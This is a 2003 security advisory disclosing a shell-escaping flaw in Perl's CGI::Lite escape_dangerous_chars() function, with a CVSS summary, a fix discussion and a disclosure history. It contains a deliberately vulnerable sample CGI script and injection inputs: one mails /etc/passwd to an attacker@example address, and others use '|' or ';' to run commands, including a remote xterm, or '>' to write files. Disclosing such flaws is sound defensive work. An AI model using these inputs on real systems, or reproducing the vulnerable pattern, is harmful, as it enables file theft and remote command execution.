Security bug in CGI::Lite::escape_dangerous_chars() function

Risk: Medium
Local: No
Remote: Yes

CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

SUBJECT Security bug in CGI::Lite::escape_dangerous_chars() function, part of the CGI::Lite 2.0 package, and earlier revisions thereof. SUMMARY The CGI::Lite::escape_dangerous_chars() function fails to escape the entire set of special characters that may have significance to the underlying shell command processor. When the function is used from within a web CGI script which processes arbitrary user input from some HTML form, an attacker may be able to read and/or write some or all local files and may be able to obtain shell- level access to the attacked web server. SCOPE Any and all UNIX and/or Linux systems which incorporate the Perl CGI::Lite module, or onto which this module has been installed. It appears likely that any/all MS Windows systems onto which the Perl CGI::Lite module has been installed may also be affected, however the author of this advisory HAS NOT verified that. IMPACT If the CGI::Lite::escape_dangerous_chars() function is used within (for example) a web CGI script, a remote attacker may be able to read and/or write local files on the attacked web server and/or may be able to gain shell-level access to the attacked web server, via the CGI script, as the user-id under which the CGI script is executed (typically, but not always the `nobody' user). The potential exists for remote root compromise (or other privileged access) if a CGI script using CGI::Lite::escape_dangerous_chars() is installed as set-uid (root) or set-gid. DISCUSSION Although poorly documented, the CGI::Lite::escape_dangerous_chars() function appears to be a function whose purpose is to modify an input character string in a way so that ``dangerous'' characters which might otherwise have special significance to an underlying shell command processor will each be preceded by a backslash (escape) character in the resulting output string. The intent is clearly to convert possibly dangerous user input strings into benign forms that, when provided as command line arguments to an underlying shell command processor, will not have any undesirable and/or unanticipated effects. (The classical example is the semi- colon character, which acts as a command separator for most UNIX and/or Linux shell command processors.) It is reasonable to believe that CGI::Lite::escape_dangerous_chars() has, in all probability, been used for exactly this purpose (i.e. rendering user input strings ``harmless'' in advance of their being provided, as arguments, to an underlying shell processor) in many existing Perl CGI scripts. Unfortunately, CGI::Lite::escape_dangerous_chars() fails to escape many of the characters mentioned as possibly dangerous characters in the WWW security FAQ (Question 7), specifically: \ - backslash ? - question mark ~ - tilde ^ - carat \n - newline \r - carriage return Note that all or most of these character _do_ in fact have special meaning, when presented as parts of command line arguments to various UNIX and/or Linux shell command processors (and, I suspect, probably MS Windows shell command line processors also). Below is a trivially simple example of how this security flaw can cause a problem, in practice: ===================================================================== #!/usr/bin/perl -w use strict; use CGI::Lite; my $cgi = new CGI::Lite; my %form = $cgi->parse_form_data; my $recipient = $form{'recipient'}; my $message = "From: sender\nSubject: Hello\n\nHello my friend!\n\n"; $recipient = escape_dangerous_chars ($recipient); open (SM, "|/usr/sbin/sendmail -f rfg $recipient"); print SM $message; close SM; print "Content-Type: text/html\n\n"; print "<HTML>\n"; print "<HEAD></HEAD>\n"; print "<BODY>\n"; print "Thank you. Your request has been processed\n"; print "</BODY>\n"; print "</HTML>\n"; ===================================================================== The Perl CGI script above might be constructed to act as the back-end (CGI) handler for a simple web page that allows a web visitor to enter his/her e-mail address into a text field on the form, and thereby trigger the automated sending of some pre-canned (or dynamically computed) e-mail message to the user-supplied e-mail address. Note that the escape_dangerous_chars function is used to ``sanitize'' the user-supplied input string before it is used as an argument to the Perl open function. Unfortunately, the fact that escape_dangerous_chars fails to properly backslash-escape any backslash characters contained in its input string has very serious security consequences for the simple CGI script shown above. Consider what would happen if a web visitor entered the string: attacker (at) example (dot) com [email concealed] \</etc/passwd Note that after escape_dangerous_chars is applied to this user input, the resulting string will be attacker (at) example (dot) com [email concealed] \\</etc/passwd and that exact string will be passed to the underlying shell command processor via the Perl open call. The unfortunate result of this sequence of events would be that a copy of the local password file would be e-mailed, both to <attacker (at) example (dot) com [email concealed]> and also to the (almost certainly non-existent) local user whose user-id is a single backslash character. (Most UNIX/Linux shells will see the \\ as a single backslash-escaped backslash character. That single backslash character will then be treated as being just another member of the list of destination e-mail addresses for the outgoing e-mail message by sendmail.) In this example, the account, if any, to which e-mail addresses to the (non-existent?) local user-id '\' is directed will vary, depending upon whether one is using ``real'' Sendmail or, as I do, a mostly compatible Sendmail clone (Postfix). It may also depend, of course, on how exactly the local mail server has been configured. E-mail sent to the local user '\' may in some cases be automatically re- directed to the `nobody' account, which is to say to /dev/null, in which case no local user or administrator would have any idea that anything untoward or undesirable had even taken place. Regardless of where the _second_ copy of the e-mail message goes however, the damage has already been done... <attacker (at) example (dot) com [email concealed]> _will_ be e-mailed a copy of the local password file... or any other attacker-selected file residing on the exploited system. Other similar (but perhaps even more damaging) kinds of exploits are also possible, for example: attacker (at) example (dot) com [email concealed]\|other-command or perhaps: attacker (at) example (dot) com [email concealed]\;other-command where `other-command' is `xterm' followed by a set of arguments needed to start up a remotely-accessible xterm window. Also, depending on permissions, local files on the exploited machine could be created or overwritten, e.g. via: attacker (at) example (dot) com [email concealed]\>/tmp/new-file attacker (at) example (dot) com [email concealed]\>/tmp/unprotected-file CONCLUSION It is clear that CGI::Lite::escape_dangerous_chars fails to properly backslash-escape backslash characters themselves, and other characters that may have special significance to the underlying shell command processor, when such characters are present in the input string. It is also clear that this failure can lead, and probably already has led, in many cases, to trivially-exploitable CGI scripts via which remote attackers can read files, write files, create files, and probably even obtain a remote shell access on the exploited target system(s). Note that that even if a CGI script using escape_dangerous_chars goes to the additional trouble of deleting all whitespace characters from user-supplied HTML form text field values (e.g. via s/\s//g) in ad- dition to applying escape_dangerous_chars to sanitize the input, the elimination of whitespace characters is quite definitely NOT sufficient to prevent all possible exploits, as illustrated in the examples above. FIX One possible fix for this problem is simple and obvious. The escape_dangerous_chars could be hacked to include, in the set of characters that it will escape, the backslash character and other special characters from the complete set of ``dangerous'' characters as documented in the WWW Security FAQ. (A patch which effects this change is available from the author of this advisory upon request.) The advisability of this specific ``quick and dirty'' fix has been questioned by multiple parties however. (Some say that it would better to list the set of characters which are safe to NOT escape, and then just have the function escape every character that is NOT in that ``safe'' character set.) ADVISORY AUTHOR Ronald F. Guilmette <rfg (at) monkeys (dot) com [email concealed]> ADVISIORY DATE February 11, 2003 DISCLOSURE HISTORY Multiple attempts were made to advise both the current maintainer of the CGI::Lite module (b.d.low (at) ieee (dot) org [email concealed]) and also the administrator of the CPAN Perl archive web site (cpan (at) perl (dot) org [email concealed]) beginning on January 10th, 2003, regarding this security bug/issue. To the present date, no response of any kind was received from ether party. CERT ( was advised of the details of this security issue on January 22nd, 2003, and responded that they would notify and canvas their affiliated software vendors on this issue. As of this writing, CERT has not provided any indication that any of their affiliated software vendors are affected by this issue. <security (at) redhat (dot) com [email concealed]> was also notified in January 22nd, 2003. A representative of RedHat responded that RedHat is not affected by this security issue, but promised to notify other relevant software vendors of this issue.

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022,


Back to Top